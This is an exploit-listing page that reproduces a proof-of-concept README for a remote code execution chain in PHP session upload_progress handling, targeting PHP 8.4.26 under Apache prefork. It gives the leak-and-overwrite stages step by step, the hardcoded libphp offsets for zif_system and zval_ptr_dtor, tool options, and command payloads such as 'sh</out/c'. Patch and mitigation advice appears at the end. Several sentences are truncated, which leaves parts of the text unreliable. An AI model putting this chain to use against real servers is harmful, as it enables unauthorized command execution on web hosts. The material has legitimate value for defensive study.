Back Sploitus Exploit for Improperly Controlled Sequential Memory Allocation in Php
| **CVE** | [CVE-2026-109618]( [CVE-2026-109619]( |
| **Severity** | CVSS v4.0 **9.2 (Critical)** each |
| **Class** | Use-after-free / stale-pointer (CWE-416) in `ext/session/session.c` |
| **Root cause** | `longjmp()`/bailout on OOM and fatal errors leaves session bookkeeping pointing at freed memory |
| **Affected** | PHP **5.4.0 → 8.5.11** |
| **Fixed in** | **8.2.35**, **8.3.36**, **8.4.27**, **8.5.12** (2026-10-21) |
| **Target of this PoC** | PHP **8.4.26** (NTS) + Apache **mod_php** (prefork) |
The exploit is **fully remote over plain HTTP**: no debugger, no `/proc`
access, no binary upload, and no target-side application code is required — it
fires during PHP's request-startup `session.upload_progress` handling, before
PHP parses RFC 1867 multipart uploads during request startup. The
(`php_session_rfc1867_callback()` in `ext/session/session.c`) caches raw `zval*`
pointers into the session `HashTable` to track upload progress. When an upload
stalls past `session.upload_progress.min_freq` (default 1s), a later `FILE_DATA`
event re-enters session initialization, which frees the `HashTable` while the
cached pointers stay alive. The write through those stale pointers is a
- **CVE-2026-109618** — an out-of-memory (`memory_limit`) condition interrupts
request initialization via `longjmp()`; cleanup then treats partially
- **CVE-2026-109619** — a fatal-error bailout leaves global request state
pointing at freed memory; the * * request on the same worker uses it.
The fix removes the long-lived `zval*` cache and re-derives the target pointer
├── requirements.txt # Python dependencies
└── exploit.py # one-click exploit (this PoC)
At run time the exploit writes its proof file and optional offset cache under
stage 0 HTTP worker rotation -> prefork forks a fresh child (shared ASLR layout)
stage 1 Set-Cookie heap leak -> Zend MM chunk base
stage 2 Set-Cookie libphp leak -> libphp base (via zval_ptr_dtor)
stage 3 upload_progress fake-ref -> pDestructor = zif_system => system(cmd)
1. **ASLR is bypassed by information leaks, not brute force.** Apache prefork
children one address-space layout, so a pointer leaked by one request
2. **Stage 1** leaks the Zend MM chunk base: an OOM request dumps heap pointers
into the `Set-Cookie` header; the most common 2 MB-aligned `0x7f…` value is
3. **Stage 2** leaks `libphp.so`: bytes 8–16 of the cookie carry a
`zval_ptr_dtor` pointer, so `libphp base = pointer − DTOR_OFFSET`.
4. **Stage 3** writes a forged `zend_reference` over `PS(http_session_vars)`,
then posts a fake `HashTable` whose `pDestructor` is set to `zif_system`.
During session cleanup PHP calls `system(command)` instead of the value
The target must match these `php.ini` settings:
Apache must run **prefork** with a **single worker** (the leak-to-exploit
sequence relies on the same forked child surviving between requests).
The exploit dereferences `zif_system` and `zval_ptr_dtor` at fixed offsets from
`libphp.so`, so they must match the exact binary. Offsets are hardcoded
defaults and can be overridden on the command line:
| `zif_system` | `0x43A870` | `--zif-offset` |
| `zval_ptr_dtor` | `0x613C50` | `--dtor-offset` |
| `htdata` carrier | `0x690D8` (bookworm) / `0x6E0D8` (lab) | `--htdata-offset` |
A rebuild or a different distro image shifts these; pass the matching values
The default `--profile bookworm` targets the official `php:8.4.26-apache`
image (Debian 12, Apache 2.4.69). Start a vulnerable target container with the
[php.ini settings above](#target-configuration) and Apache prefork (single
python3 exploit.py -u
Proof of execution is the command's output, e.g.
`uid=33(www-data) gid=33(www-data) groups=33(www-data)`.
Ubuntu 24.04 does not ship PHP 8.4.26; build it to match the offsets, or use
the Docker image above (the offsets are pinned to the shipped image, so a
self-built binary requires re-calibration).
# 1. Install PHP 8.4.26 + mod_php (from source or a matching repo build)
# 3. Ensure Apache prefork with a single worker:
# a2dismod mpm_event && a2enmod mpm_prefork
# Set "StartServers 1", "MinSpareServers 1", "MaxSpareServers 1"
# 4. Place a trivial index.php in the docroot (any page works)
Then point the exploit at it and supply the offsets for your build:
--zif-offset 0x43A870 --dtor-offset 0x613C50 --htdata-offset 0x6E0D8
| `-u, --url` | *(required)* | Target PHP page, e.g. ` |
| `-c, --cmd` | `id>/out/p1` | Command to run (max **14** bytes) |
| `--proof-file` | `out/p1` | Local file to check for command output; `''` disables |
| `--fetch` | `""` | `GET` this path afterward (for commands writing to webroot) |
| `--profile` | `bookworm` | `bookworm` (official image) or `lab` (Apache 2.4.68) |
| `--zif-offset` | auto | `zif_system` offset in `libphp.so` |
| `--dtor-offset` | auto | `zval_ptr_dtor` offset in `libphp.so` |
| `--htdata-offset` | auto | chunk-relative offset of the 167-byte carrier string |
| `--huge-mb` | `12` | OOM field size; must exceed `memory_limit` |
| `--retries` | `3` | Attempts per leak stage (stage 3 uses `retries+2`) |
| `--no-pre-rotate` | off | Skip the initial worker rotation |
| `--no-retry-rotate` | off | Don't rotate between failed attempts |
| `--no-auto-offsets` | off | Never auto-derive offsets from a running container |
| `--docker-container` | `php2shell-target` | Container for auto-offset derivation |
| `--timeout` | `30.0` | Per-request timeout (seconds) |
| `-q, --quiet` | off | Suppress progress output |
# Run the default payload and read the proof file
python3 exploit.py -u
# Write output to a known location and verify it
python3 exploit.py -u \
# Chain a longer command through a short shell trigger (8 bytes)
python3 exploit.py -u -c 'sh</out/c'
The command is embedded in a 167-byte live `zend_string`; the payload layout
leaves **14 bytes** for the command (`167 − 0x98 header − NUL`). Chain longer
commands via a short trigger such as `sh</out/c`.
| `1` | `HEAP_LEAK_FAILED`, `LIBPHP_LEAK_FAILED`, or `EXPLOIT_FAILED` |
- **Build-pinned offsets** — `zif_system` / `zval_ptr_dtor` / carrier offsets
are hardcoded per `libphp.so`; a recompile or different distro image breaks
- **Strict target config** — requires `display_errors=1`, a small
`memory_limit` vs. body size, and single-worker prefork.
- **Timing/race-sensitive** — the heap-leak stage reads the `Set-Cookie`
header in a window where the worker may abort immediately after sending it.
- **Already patched** — the exploit targets 8.4.26 and is inert against
The only complete remediation is to **upgrade PHP** to a fixed release and
- **8.2.35**, **8.3.36**, **8.4.27**, **8.5.12** (or later)
Partial interim mitigations (not a substitute for updating):
memory_limit = -1 ; apply so applications cannot override
session.upload_progress.enabled = 0 ; must not be overridable via ini_set/.user.ini
Then restart Apache / PHP-FPM / all long-running workers.
- [Wiz Research — PHP2Shell disclosure](
- [PHP Foundation — Today's PHP Security Release](
- [Datadog Security Labs — technical analysis](
- [Calif — php2shell](
[MIT](LICENSE)
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
